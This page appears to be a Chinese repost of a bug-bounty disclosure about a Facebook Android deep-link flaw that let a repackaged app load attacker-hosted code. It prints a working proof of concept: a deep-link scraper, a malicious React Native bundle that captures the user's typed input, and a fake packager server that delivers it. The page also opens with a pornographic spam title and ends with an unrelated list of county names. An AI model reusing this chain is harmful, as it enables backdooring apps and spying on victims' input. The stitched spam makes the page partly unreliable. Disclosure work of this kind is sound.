亚洲激情专区-91九色丨porny丨老师-久久久久久久女国产乱让韩-国产精品午夜小视频观看

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何利用深度鏈接方式后門化Facebook APP

發布時間:2022-01-18 16:12:29 來源:億速云 閱讀:191 作者:柒染 欄目:安全技術

如何利用深度鏈接方式后門化Facebook APP,很多新手對此不是很清楚,為了幫助大家解決這個難題,下面小編將為大家詳細講解,有這方面需求的人可以來學習下,希望你能有所收獲。

近期,作者發現了Facebook安卓APP應用的一個深度鏈接漏洞,利用該漏洞,可以把用戶手機上安裝的Facebook安卓APP應用轉變成后門程序(Backdoor),實現后門化。另外,利用該漏洞還可以重打包Facebook APP,并將其發送給特定目標受害者安裝使用。下面就來看看作者對該漏洞的發現過程,以及如何通過Payload構造,最終將其轉化為Facebook APP實際生產環境中的安全隱患。

漏洞發現

通常做眾測時,我會先認真了解目標系統的應用機制。在我的上一篇博客中,我已經分享了通過解析Facebook APP來發現FB4A參數應用中深度鏈接(deeplinks)的一些經驗過程,而在此,我先分享我編寫的一個腳本文件,用它可以自動實現對Facebook APP深度鏈接(deeplinks)的發現。該腳本文件為-Facebook Android Deeplink Scraper(FBLinkBuilder.py),是一段基于Python的代碼程序,專用于從 Facebook APK中提取深度鏈接(deeplinks):

import os 
import json
import argparse
from zipfile import ZipFile 
from datetime import datetime

fname = datetime.now().strftime("FB_Deeplinks%d%m%Y%H%M%S.txt") #default filename

parser = argparse.ArgumentParser() 
parser.add_argument('-i', help='Facebook APK file')
parser.add_argument('-o', help='Output file', nargs='?', default=fname)
parser.add_argument('-e', help='Only show exported. Defaulted to False', nargs='?', default=False)
args = parser.parse_args()

file_name = args.i #apk
output_name = args.o #generated output / provided
exported = args.e #False / provided

with ZipFile(file_name, 'r') as zip: 
    print('Extracting native routes file...') #fyi
    
    data = zip.read('assets/react_native_routes.json') #extract file from zip
    js = json.loads(data.decode("utf-8")) #to read as list

    params = '' #placeholder
    
    i = 0 #deeplink count
    
    text_file = open(output_name, "w") #open output

    print('Manipulating data...') #fyi
    for key in js: #for each block in json
        for key2 in key['paramDefinitions']: #grab the collection of params
            params += key2 + '=' + str(key['paramDefinitions'][key2]['type']).upper() + '&' #append params with type
            
        if exported: #exported only
            if key.get('access','') != 'exported': #check access key
                params = '' #Reset params
                continue #try next block
                
        link = 'fb:/' + key['path'] + '/?' + params #build link
        print(link[:-1]) #fyi
        text_file.write(link[:-1]+ '\n') #write to file
        i += 1 #increase counter
        params = '' #reset params

    text_file.close() #save file
    
    print('File: ' + output_name + ' saved') #fyi
    print(str(i) + ' deep links generated') #fyi

下載源: https://github.com/ashleykinguk/FBLinkBuilder/

使用方法: .\FBLinkBuilder.py -i fb0409.apk

通過FBLinkBuilder.py的運行實現,我們可以對比不同APP版本之間出現的深度鏈接,以此來觀察不同APP版本的應用服務變化,我正是利用該方法發現了Facebook APP 2020版本中存在的一個不安全的深度鏈接:fb://rnquantum_notification_handler/?address=,它是Facebook APP首次在2020年版本中加入的。

該深度鏈接的參數形式為hostname / ip,于是乎我就用自架的服務器192.168.0.2來做了個測試:fb://rnquantum_notification_handler/?address=192.168.0.2:8224,通過該鏈接,可以在Facebook APP中跳出以下彈窗:

如何利用深度鏈接方式后門化Facebook APP點擊其中的"Enable Quantum"按鈕后,會重新啟動Facebook APP,之后,我嘗試去發現其中的變化,但這一切貌似沒啥異常。接下來,我把注意力放到了網絡流量上,當時我想到了不久前Facebook專為安全研究者開放的白帽測試功能,安全研究者可以通過該功能暫時繞過Facebook的證書綁定(Certificate Pinning)等安全限制,去測試Facebook相關應用的網絡流量。通過該白帽測試功能,我發現在上述動作之后,Facebook APP會產生以下外發連接請求:

http://192.168.0.2:8224/message?device=Android+SDK+built+for+x86+-+10+-+API+29&app=com.facebook.katana&clientid=DevSupportManagerImpl

http://192.168.0.2:8224/status

這里的第一條請求機制為傳遞基于的移動端設備屬性信息,并意圖建立一個websocket連接;第二條請求為返回請求主機的狀態信息packager-status:running,它是Facebook的react-native源碼內置參數,可以參考Github: /com/facebook/react/devsupport/DevServerHelper.java。

而就當我想方設法在自架服務器192.168.0.2中構造響應消息時,我又發現了Facebook APP產生的另外一個請求:

http://192.168.0.2:8224/RKJSModules/EntryPoints/Fb4aBundle.bundle?platform=android&dev=true&minify=false

該請求目的為尋找打包文件中存儲的FB4A參數,初步分析來看,該參數應該是明文而非通常的hbc*格式存儲于Facebook APP中。我曾嘗試輸入hbc*格式的FB4A參數進行測試,但最終卻會讓Facebook APP發生崩潰。
其實,對于Facebook APP來說,在2019年之前,其打包文件( bundles)存儲于/assets/目錄下的一個形式化文件中,但2019年后,Facebook就引入了hbc格式 (*Hermes ByteCode) ,一方面為APK瘦身,一方面為防止核心代碼顯式化。雖然我嘗試使用了hbc格式工具HBCdump,對Facebook APP生成了一個約250M的打包文件,但好像也沒什么用。

劫持Facebook APP

之后,我想到了另外一種發現打包文件的方法:那就是通過查看老版本的Facebook APP,將明文包內容和移動端設備生成的錯誤消息進行對比,移動端設備生成的錯誤消息可通過logcat可見。一通對比下來,我發現以下線索:

__fbBatchedBridge  -包文件中必需的對象,其中包含了與APP應用同步的各種功能組成;

__fbBatchedBridge.callFunctionReturnFlushedQueue  -APP后臺調用的函數,每次調用都會執行相應的動作或事件。

基于上述發現,我的想法就是使Facebook APP可以成功下載并執行我構造的包文件,為了實現該目的,我需要自己編寫包文件,然后把它托管在我的自架主機192.168.0.2中。以下是我構造的包文件FB4abundle.js:

/* contact@ash-king.co.uk */

var i = 0, logs = ''; /* our local vars */

/*the below objects are required for the app to execute the bundle. See lines 47-55 for the custom js */
var __fbBatchedBridge = { 
	_lazyCallableModules: {},
	_queue: [[], [], [], 0],
	_callID: 0,
	_lastFlush: 0,
	_eventLoopStartTime: Date.now(),
	_immediatesCallback: null,
    callFunctionReturnFlushedQueue: function(module, method, args) {
		return __fbBatchedBridge.__guard(function() {
		  __fbBatchedBridge.__callFunction(module, method, args)
		}), __fbBatchedBridge.flushedQueue()
	},
    callFunctionReturnResultAndFlushedQueue: function(e, u, s) {
		return __fbBatchedBridge.__guard(function() {
		  throw new Error('callFunctionReturnResultAndFlushedQueue: ' + a);
		}), __fbBatchedBridge.flushedQueue()
	},
    invokeCallbackAndReturnFlushedQueue: function(a,b,c) { 
		throw new Error('invokeCallbackAndReturnFlushedQueue: ' + a);
	},
	flushedQueue: function(a, b) {
		if(a != undefined){
			throw new Error('flushedQueue: ' + b)
		}
		__fbBatchedBridge.__callImmediates(); 
		const queue = __fbBatchedBridge._queue;
		__fbBatchedBridge._queue = [[], [], [], __fbBatchedBridge._callID];
		return queue[0].length ? queue : null;
	},
	onComplete: function(a) { throw new Error(a) },	
	__callImmediates: function() {
		if (__fbBatchedBridge._immediatesCallback != null) {
		  __fbBatchedBridge._immediatesCallback();
		  throw new Error('processCallbacks: ' + __fbBatchedBridge._immediatesCallback());
		}
	},
	getCallableModule: function(a) { 
		const getValue = __fbBatchedBridge._lazyCallableModules[a];
		return getValue ? getValue() : null;
	},
	__callFunction: function(a,b,c) {
		if(a == 'RCTNativeAppEventEmitter') { // Only capturing the search bar in settings
			i += 1 //increment count
			logs += JSON.stringify(c) + '\n'; //JSON Object
			if(i > 10) {
				/* Here is where we will write out to logcat via js*/
				var t = (nativeModuleProxy);
				throw new Error('Look HERE: ' + (logs) + '\n\r'); 
			}
		}
		__fbBatchedBridge._lastFlush = Date.now();
		__fbBatchedBridge._eventLoopStartTime = __fbBatchedBridge._lastFlush;
		const moduleMethods = __fbBatchedBridge.getCallableModule(a);
		try {
			moduleMethods[b].apply(moduleMethods, c);
		} catch (e) {
			
		}
		return -1
	},
	__guard: function(e) {
		try {
			e();
		} catch (error) {
			throw new Error('__guard: ' + error); 
		}	
	}
};

為了能讓Facebook APP自動調用該包文件,我還需要另外一個腳本文件fb_server.py:

#contact@ash-king.co.uk

from http.server import BaseHTTPRequestHandler, HTTPServer
import logging

class S(BaseHTTPRequestHandler):
    def _set_response(self):
        self.send_response(500)
        self.send_header('Content-type', 'text/html')
        self.end_headers()
        self.wfile.write(bytes("", "utf-8"))

    def do_GET(self):
        if self.path == '/status':
            self.resp_status()
        elif str(self.path).find('message?device=') > -1:
            self.resp_message()
        elif str(self.path).find('Fb4aBundle.bundle') > -1:
            self.resp_fb4a()

    def do_POST(self):
        content_length = int(self.headers['Content-Length'])
        post_data = self.rfile.read(content_length)
        logging.info("POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n", str(self.path), str(self.headers), post_data.decode('utf-8'))
        self._set_response()
        self.wfile.write("POST request for {}".format(self.path).encode('utf-8'))

    def resp_message(self):
        logging.info("resp_message")
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()
        self.wfile.write(bytes("", "utf-8"))
        logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers))

    def resp_status(self):
        logging.info("resp_status")
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()
        self.wfile.write(bytes("packager-status:running", "utf-8"))
        logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers))
        
    def resp_fb4a(self):
        logging.info("resp_bundle")
        self.send_response(200)
        self.send_header('Content-type', 'multipart/mixed')
        self.end_headers()
        with open('FB4abundle.js', 'rb') as file: 
            self.wfile.write(file.read())
        logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers))

def run(server_class=HTTPServer, handler_class=S, port=8224):
    logging.basicConfig(level=logging.INFO)
    server_address = ('', port)
    httpd = server_class(server_address, handler_class)
    logging.info('Starting httpd...\n')
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        pass
    httpd.server_close()
    logging.info('Stopping httpd...\n')

if __name__ == '__main__':
    from sys import argv

    run()

綜合深度鏈接、包文件調用和我自己構造加入的"Enable Quantum"URL鏈接,最終我可以向Facebook APP調用包文件中加入我自制的代碼,并由其中的深度鏈接來實現調用。在我的POC漏洞驗證展示中,如果受害者運行了我重打包的Facebook APP后,我可以攔截他在Facebook APP中的輸入字符流量,如攔截他輸入的5個字符流量“testi”,并會在logfile中顯示他實際輸入的字符,且最終會產生一個告警提示:

如何利用深度鏈接方式后門化Facebook APP

漏洞影響

惡意攻擊者可以利用該漏洞,通過物理接觸移動設備上的APP或向受害者發送重打包APP的方式,向受害者移動端設備APP中植入持久化連接,對受害者設備APP形成長期感知探測的后門化。

然而,一開始,Facebook安全團隊卻忽略了該漏洞,他們選擇了關閉該漏洞報告并分類為不適用(not applicable),他們給出的解釋為:

Any user that is knowledgable enough to manage servers and write code would also be able to control how the app operates. That is also true for any browser extension or manual app created. A user is also able to proxy all their HTTP Traffic to manipulate those requests. Only being able to make local modifications with a PoC showing actual impact does not fully qualify for the Bug Bount.

之后,我就公布了POC驗證視頻,一小時后,Facebook安全團隊的雇員聯系了我,聲稱他們重新評估了該漏洞,并要求我刪除了該POC驗證視頻。但在視頻刪除前,至少30多名觀眾看過了該視頻。

Facebook安全團隊的漏洞評估

“重新評估該漏洞后,我們決定按我們的眾測標準給出對該漏洞給予獎勵,在你上報的漏洞中,描述了可讓受害者重定向到一個攻擊者控制的 React Native Development服務端,并向受害者APP中植入惡意代碼的場景,感謝你的漏洞上報。”

漏洞上報和處理進程

2020.6.20 - 漏洞上報
2020.6.22 - 提供技術細節
2020.6.23 - Facebook把該漏洞分類為N/A
2020.6.23 - 我在Youtube上公布POC視頻 
2020.6.23 - Facebook重新評估該漏洞并要求我刪除POC視頻
2020.6.24 - 漏洞分類
2020.6.26 - Facebook通過關閉Quantum功能進行緩解
2020.8.20 - Facebook修復該漏洞
2020.9.17 - Facebook賞金獎勵支付

看完上述內容是否對您有幫助呢?如果還想對相關知識有進一步的了解或閱讀更多相關文章,請關注億速云行業資訊頻道,感謝您對億速云的支持。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

新蔡县| 定襄县| 新邵县| 象州县| 突泉县| 舞阳县| 即墨市| 陇川县| 喜德县| 武宣县| 临沂市| 平原县| 本溪| 离岛区| 安吉县| 赣榆县| 长宁区| 怀柔区| 瓮安县| 泉州市| 札达县| 肥西县| 定西市| 德化县| 巧家县| 财经| 诸暨市| 靖西县| 柏乡县| 洞口县| 垦利县| 巨野县| 襄城县| 永德县| 安化县| 阳东县| 方城县| 潢川县| 泗阳县| 建昌县| 黑山县|